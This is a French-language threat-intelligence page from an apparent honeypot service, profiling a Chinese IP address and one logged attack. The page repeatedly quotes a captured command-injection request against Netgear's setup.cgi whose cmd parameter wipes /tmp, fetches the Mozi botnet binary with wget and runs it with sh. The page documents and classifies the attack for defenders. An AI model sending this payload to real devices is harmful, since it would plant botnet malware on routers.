Renseignement sur les menaces

Chine

120.85.118.197

FAI China Unicom Guangzhou network Première vue 06/06/2026 00:06 UTC Dernière vue 06/06/2026 00:06 UTC Risque Élevé

Période analysée : 2026-05-21 → 2026-06-20

risque 66/100

Base IP Signaler JSON CSV Pro STIX 2.1 · JSON SOC ou contact

Réputation DNSBL WHOIS Ports

24h 7j 30j 90j

Élevé · Risque max (7j) Élevé

Synthèse exécutive

Profil de menace

Score de risque 66/100 Élevé

Première observation 06/06/2026 00:06 UTC

Dernière observation 06/06/2026 00:06 UTC

Événements (période) 1

MITRE ATT&CK principal —

risque 66/100

Pourquoi listée

Synthèse décisionnelle honeypot — seuil de listing maintenu à 1 événement qualifié.

Injection de commande (tag rce-0) · Sonde fichier sensible / config · confiance 100%

Comparaison ASN / FAI

ASN 17622 · 120.85.0.0/17 · APNIC — 8 pair(s) ASN/FAI listé(s) — activité locale élevée vs pairs · 1 événements sur la période pour cette IP.

112.94.253.131 Sonde PostgreSQL 20/06/2026 03:51 UTC
112.94.252.254 Sonde HTTP 19/06/2026 19:15 UTC
112.94.253.14 Sonde PostgreSQL 19/06/2026 18:49 UTC
112.94.253.96 http 19/06/2026 14:07 UTC
112.94.252.74 http 18/06/2026 20:21 UTC
112.94.253.69 http 18/06/2026 16:34 UTC
27.47.1.87 Sonde port 23/TCP 18/06/2026 15:03 UTC
112.94.252.83 Sonde PostgreSQL 18/06/2026 11:40 UTC

Événements (filtres)

Première observation

06/06/2026 00:06 UTC

Dernière observation

06/06/2026 00:06 UTC

Dernière activité (filtres)

06/06/2026 00:06 UTC

Événements 7j

Ports distincts (7j)

Classifications (7j)

Sévérité max (7j)

—

Géolocalisation

Origine réseau déclarée

Chine unknown unknown

FAI / réseau

Opérateur et dernière activité ban

China Unicom Guangzhou network 0 Port 8080 cmd_injection

Renseignement menaces

Score capteur — surveiller, investiguer ou bloquer.

Recommandation

Stade d'attaque

Tentative d'exploit

Aperçu payload

GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgea

Port / service

8080

Recommandation

Investiguer

Confiance

100%

Famille de menace

rce_probe

MITRE ATT&CK — tactiques

Reconnaissance Développement Accès Exécution Persistance Élévation Contournement Accès Découverte Mouvement Collecte Commande Exfiltration Impact

Filtres

Les dates De/À priment sur la période. Affinez protocole, port, service et classification.

proto=Tous service=Tous port=Tous type=Tous sév.=Toutes

Période

Protocole

Port (dst)

Service

Classification

Sévérité min

Sévérité max

Réinitialiser

Timeline

1 événements filtrés — activité quotidienne

Ports 24 h

Top ports ciblés sur les dernières 24 heures

Top ports

SSH 22, RDP 3389, HTTP alternatifs…

Top classifications

Web, SSH, SAP, scans…

Heatmap attaques 7j

Intensité par jour et heure (UTC capteur)

Chronologie des événements

1 événement(s) — page 1/1

Horodatage Proto Port Service Classification Sévérité Risque Actions

Horodatage	Proto	Port	Service	Classification	Sévérité	Risque
06/06/2026 00:06:50 UTC	TCP	8080	http	Injection de commande	Élevée	Élevé · 66
Étape Tentative d'exploit MITRE TA0001 TA0002 WAF 34 Recommandation Investiguer Tags 950325:rce-0 950405:ssrf-3 950469:nosqli-3 950588:ssrf-private-cidr Cible HTTP GET /Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 8080 Chemin / cible /Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 Pourquoi cette classification : Injection de commande (tag rce-0) · Sonde fichier sensible / config · confiance 100% Confiance classification 100% Tactiques MITRE TA0001 TA0002 Motifs de détection (base) CRS 932190 CRS 932200 CRS 932205 CRS 932206 LFI Double-dot bypass Ligne de requête `GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.1` User-Agent — Règles WAF rce-0 ssrf-3 nosqli-3 ssrf-private-cidr webshell-param-cmd Payload (extrait) GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgea Requête brute (extrait) GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0 Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b", "emulator_response_len": 81, "http_header_count": 0, "http_query_params": 5, "http_path_depth": 1, "http_path_ext": "cgi", "http_ua_hash": null, "http_host_hash": null, "http_target_hash": "0feab8ba289a205963ea855bddee3d3210deaa44", "http_referer_hash": null, "http_method": "GET", "http_ua_is_cli": false, "http_ua_is_browser": false, "bytes_in": 173, "payload_entropy": 5.109863725799908, "port_category": "registered", "org": "China Unicom Guangzhou network", "service": "http", "app_proto": "http", "asn": 17622, "country": "CN", "dst_port": 8080, "risk_waf": 100, "risk_classification": 85, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 43, "risk_novelty": 30, "risk_boost": 0, "risk_granularity": 6.2, "risk_breakdown": { "waf": 100, "classification": 85, "behavior": 0, "geo": 0, "protocol": 43, "novelty": 30 }, "risk_score": 66, "tag_count": 12, "anomaly_count": 1, "campaign_key": "59f5b6bd88cd8f23ca8264f2a9b7331a544eae9a", "event_fingerprint": "d4b3c91ac2d453963194dea330d460e337297864", "classification_reason": "Injection de commande (tag rce-0) \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%", "confidence": 1, "classification_confidence": 1, "precision_score": 350, "precision_signals": [ "MITRE-T1059", "pat-0144", "pat-0145", "pat-0146", "pat-0147" ], "kb_rule_ids": [ "MITRE-T1059", "pat-0144", "pat-0145", "pat-0146", "pat-0147" ], "matched_patterns": [ "pat-0144", "pat-0145", "pat-0146", "pat-0147", "pat-0103" ], "matched_pattern_names": [ "CRS 932190", "CRS 932200", "CRS 932205", "CRS 932206", "LFI Double-dot bypass" ], "pattern_ids": [ "pat-0144", "pat-0145", "pat-0146", "pat-0147", "pat-0103" ], "risk_confidence_factor": 100, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "CN", "asn": 17622, "org": "China Unicom Guangzhou network", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "payload_hash": "edaffc63f29b42ae9ff2213fab36fb1c", "path_pattern_hash": "7a793259e7957dbaff63a0c99d83e638" }, "target_context": { "dst_port": 8080, "service": "http" }, "payload_preview": "GET \/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+\/tmp\/;wget+http:\/\/192.168.1.1:8088\/Mozi.m+-O+\/tmp\/netgear;sh+netgea", "method": "GET", "path": "\/Mozi.m+-O+\/tmp\/netgear;sh+netgear&curpath=\/&currentsetting.htm=1", "query_string": "next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+\/tmp\/;wget+http:\/\/192.168.1.1:8088\/Mozi.m+-O+\/tmp\/netgear;sh+netgear&curpath=\/&currentsetting.htm=1", "waf_tags": [ "950325:rce-0", "950405:ssrf-3", "950469:nosqli-3", "950588:ssrf-private-cidr", "950629:webshell-param-cmd" ], "waf_rule_names": [ "rce-0", "ssrf-3", "nosqli-3", "ssrf-private-cidr", "webshell-param-cmd" ], "request_line": "GET \/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+\/tmp\/;wget+http:\/\/192.168.1.1:8088\/Mozi.m+-O+\/tmp\/netgear;sh+netgear&curpath=\/&currentsetting.htm=1 HTTP\/1.1", "request_sample": "GET \/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+\/tmp\/;wget+http:\/\/192.168.1.1:8088\/Mozi.m+-O+\/tmp\/netgear;sh+netgear&curpath=\/&currentsetting.htm=1 HTTP\/1.0\r\n\r\n", "payload_snippet": "GET \/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+\/tmp\/;wget+http:\/\/192.168.1.1:8088\/Mozi.m+-O+\/tmp\/netgear;sh+netgea", "evidence": { "method": "GET", "path": "\/Mozi.m+-O+\/tmp\/netgear;sh+netgear&curpath=\/&currentsetting.htm=1", "query_string": "next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+\/tmp\/;wget+http:\/\/192.168.1.1:8088\/Mozi.m+-O+\/tmp\/netgear;sh+netgear&curpath=\/&currentsetting.htm=1", "waf_tags": [ "950325:rce-0", "950405:ssrf-3", "950469:nosqli-3", "950588:ssrf-private-cidr", "950629:webshell-param-cmd" ], "waf_rule_names": [ "rce-0", "ssrf-3", "nosqli-3", "ssrf-private-cidr", "webshell-param-cmd" ], "request_line": "GET \/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+\/tmp\/;wget+http:\/\/192.168.1.1:8088\/Mozi.m+-O+\/tmp\/netgear;sh+netgear&curpath=\/&currentsetting.htm=1 HTTP\/1.1", "request_sample": "GET \/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+\/tmp\/;wget+http:\/\/192.168.1.1:8088\/Mozi.m+-O+\/tmp\/netgear;sh+netgear&curpath=\/&currentsetting.htm=1 HTTP\/1.0\r\n\r\n", "payload_snippet": "GET \/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+\/tmp\/;wget+http:\/\/192.168.1.1:8088\/Mozi.m+-O+\/tmp\/netgear;sh+netgea", "classification_reason": "Injection de commande (tag rce-0) \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%" }, "attack_stage": "exploit_attempt", "mitre_tactics": [ "TA0001", "TA0002" ], "threat_family": [ "rce_probe" ], "recommended_client_action": "investigate", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "cc2ea44bc6aa5146c92eb1ed31aac2bfcf7bc6d5", "ban_policy": "advisory_investigate", "tags_list": [ "950325:rce-0", "950405:ssrf-3", "950469:nosqli-3", "950588:ssrf-private-cidr", "950629:webshell-param-cmd", "anomaly:high-entropy-query", "http_no_ua", "http_probe_setup", "http_scanner_params", "http_sensitive_path", "http_suspicious_params", "net_web_probe" ] }

06/06/2026 00:06:50 UTC

TCP

8080

http

Injection de commande

Élevée

Élevé · 66

Étape Tentative d'exploit

MITRE TA0001 TA0002

WAF 34

Recommandation Investiguer

Tags 950325:rce-0 950405:ssrf-3 950469:nosqli-3 950588:ssrf-private-cidr

Cible HTTP GET /Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

TLS SNI —

Capteur paris-1

Preuve / Evidence

Méthode GET

Port 8080

Chemin / cible /Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

Pourquoi cette classification : Injection de commande (tag rce-0) · Sonde fichier sensible / config · confiance 100%

Confiance classification 100%

Tactiques MITRE TA0001 TA0002

Motifs de détection (base) CRS 932190 CRS 932200 CRS 932205 CRS 932206 LFI Double-dot bypass

Ligne de requête

GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.1

User-Agent —

Règles WAF rce-0 ssrf-3 nosqli-3 ssrf-private-cidr webshell-param-cmd

Payload (extrait)

GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgea

Requête brute (extrait)

GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0

Meta JSON brut

{
    "protocol_emulated": true,
    "emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
    "emulator_response_len": 81,
    "http_header_count": 0,
    "http_query_params": 5,
    "http_path_depth": 1,
    "http_path_ext": "cgi",
    "http_ua_hash": null,
    "http_host_hash": null,
    "http_target_hash": "0feab8ba289a205963ea855bddee3d3210deaa44",
    "http_referer_hash": null,
    "http_method": "GET",
    "http_ua_is_cli": false,
    "http_ua_is_browser": false,
    "bytes_in": 173,
    "payload_entropy": 5.109863725799908,
    "port_category": "registered",
    "org": "China Unicom Guangzhou network",
    "service": "http",
    "app_proto": "http",
    "asn": 17622,
    "country": "CN",
    "dst_port": 8080,
    "risk_waf": 100,
    "risk_classification": 85,
    "risk_behavior": 0,
    "risk_geo": 0,
    "risk_protocol": 43,
    "risk_novelty": 30,
    "risk_boost": 0,
    "risk_granularity": 6.2,
    "risk_breakdown": {
        "waf": 100,
        "classification": 85,
        "behavior": 0,
        "geo": 0,
        "protocol": 43,
        "novelty": 30
    },
    "risk_score": 66,
    "tag_count": 12,
    "anomaly_count": 1,
    "campaign_key": "59f5b6bd88cd8f23ca8264f2a9b7331a544eae9a",
    "event_fingerprint": "d4b3c91ac2d453963194dea330d460e337297864",
    "classification_reason": "Injection de commande (tag rce-0) \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
    "confidence": 1,
    "classification_confidence": 1,
    "precision_score": 350,
    "precision_signals": [
        "MITRE-T1059",
        "pat-0144",
        "pat-0145",
        "pat-0146",
        "pat-0147"
    ],
    "kb_rule_ids": [
        "MITRE-T1059",
        "pat-0144",
        "pat-0145",
        "pat-0146",
        "pat-0147"
    ],
    "matched_patterns": [
        "pat-0144",
        "pat-0145",
        "pat-0146",
        "pat-0147",
        "pat-0103"
    ],
    "matched_pattern_names": [
        "CRS 932190",
        "CRS 932200",
        "CRS 932205",
        "CRS 932206",
        "LFI Double-dot bypass"
    ],
    "pattern_ids": [
        "pat-0144",
        "pat-0145",
        "pat-0146",
        "pat-0147",
        "pat-0103"
    ],
    "risk_confidence_factor": 100,
    "city": null,
    "is_datacenter": false,
    "is_tor_hint": false,
    "geo": {
        "country": "CN",
        "asn": 17622,
        "org": "China Unicom Guangzhou network",
        "is_datacenter": false,
        "is_tor_hint": false
    },
    "fingerprint": {
        "payload_hash": "edaffc63f29b42ae9ff2213fab36fb1c",
        "path_pattern_hash": "7a793259e7957dbaff63a0c99d83e638"
    },
    "target_context": {
        "dst_port": 8080,
        "service": "http"
    },
    "payload_preview": "GET \/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+\/tmp\/*;wget+http:\/\/192.168.1.1:8088\/Mozi.m+-O+\/tmp\/netgear;sh+netgea",
    "method": "GET",
    "path": "\/Mozi.m+-O+\/tmp\/netgear;sh+netgear&curpath=\/&currentsetting.htm=1",
    "query_string": "next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+\/tmp\/*;wget+http:\/\/192.168.1.1:8088\/Mozi.m+-O+\/tmp\/netgear;sh+netgear&curpath=\/&currentsetting.htm=1",
    "waf_tags": [
        "950325:rce-0",
        "950405:ssrf-3",
        "950469:nosqli-3",
        "950588:ssrf-private-cidr",
        "950629:webshell-param-cmd"
    ],
    "waf_rule_names": [
        "rce-0",
        "ssrf-3",
        "nosqli-3",
        "ssrf-private-cidr",
        "webshell-param-cmd"
    ],
    "request_line": "GET \/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+\/tmp\/*;wget+http:\/\/192.168.1.1:8088\/Mozi.m+-O+\/tmp\/netgear;sh+netgear&curpath=\/&currentsetting.htm=1 HTTP\/1.1",
    "request_sample": "GET \/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+\/tmp\/*;wget+http:\/\/192.168.1.1:8088\/Mozi.m+-O+\/tmp\/netgear;sh+netgear&curpath=\/&currentsetting.htm=1 HTTP\/1.0\r\n\r\n",
    "payload_snippet": "GET \/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+\/tmp\/*;wget+http:\/\/192.168.1.1:8088\/Mozi.m+-O+\/tmp\/netgear;sh+netgea",
    "evidence": {
        "method": "GET",
        "path": "\/Mozi.m+-O+\/tmp\/netgear;sh+netgear&curpath=\/&currentsetting.htm=1",
        "query_string": "next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+\/tmp\/*;wget+http:\/\/192.168.1.1:8088\/Mozi.m+-O+\/tmp\/netgear;sh+netgear&curpath=\/&currentsetting.htm=1",
        "waf_tags": [
            "950325:rce-0",
            "950405:ssrf-3",
            "950469:nosqli-3",
            "950588:ssrf-private-cidr",
            "950629:webshell-param-cmd"
        ],
        "waf_rule_names": [
            "rce-0",
            "ssrf-3",
            "nosqli-3",
            "ssrf-private-cidr",
            "webshell-param-cmd"
        ],
        "request_line": "GET \/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+\/tmp\/*;wget+http:\/\/192.168.1.1:8088\/Mozi.m+-O+\/tmp\/netgear;sh+netgear&curpath=\/&currentsetting.htm=1 HTTP\/1.1",
        "request_sample": "GET \/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+\/tmp\/*;wget+http:\/\/192.168.1.1:8088\/Mozi.m+-O+\/tmp\/netgear;sh+netgear&curpath=\/&currentsetting.htm=1 HTTP\/1.0\r\n\r\n",
        "payload_snippet": "GET \/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+\/tmp\/*;wget+http:\/\/192.168.1.1:8088\/Mozi.m+-O+\/tmp\/netgear;sh+netgea",
        "classification_reason": "Injection de commande (tag rce-0) \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%"
    },
    "attack_stage": "exploit_attempt",
    "mitre_tactics": [
        "TA0001",
        "TA0002"
    ],
    "threat_family": [
        "rce_probe"
    ],
    "recommended_client_action": "investigate",
    "policy_mode": "intelligence",
    "sensor_role": "threat_intelligence",
    "event_signature": "cc2ea44bc6aa5146c92eb1ed31aac2bfcf7bc6d5",
    "ban_policy": "advisory_investigate",
    "tags_list": [
        "950325:rce-0",
        "950405:ssrf-3",
        "950469:nosqli-3",
        "950588:ssrf-private-cidr",
        "950629:webshell-param-cmd",
        "anomaly:high-entropy-query",
        "http_no_ua",
        "http_probe_setup",
        "http_scanner_params",
        "http_sensitive_path",
        "http_suspicious_params",
        "net_web_probe"
    ]
}

Réputation

Sécurité avancée

Offensive / Recon

Sécurité

DNS

Réseau

E-mail

IP

Utilitaires

120.85.118.197

Profil de menace

Pourquoi listée

Comparaison ASN / FAI

Géolocalisation

FAI / réseau

Renseignement menaces

Filtres

Timeline

Ports 24 h

Top ports

Top classifications

Heatmap attaques 7j

Chronologie des événements

Comparaison côte à côte

Preuve / Evidence

120.85.118.197

Pourquoi listée

Comparaison ASN / FAI

IPs apparentées

Géolocalisation

FAI / réseau

Renseignement menaces

Filtres

Timeline

Ports 24 h

Top ports

Top classifications

Heatmap attaques 7j

Chronologie des événements

Comparaison côte à côte

Preuve / Evidence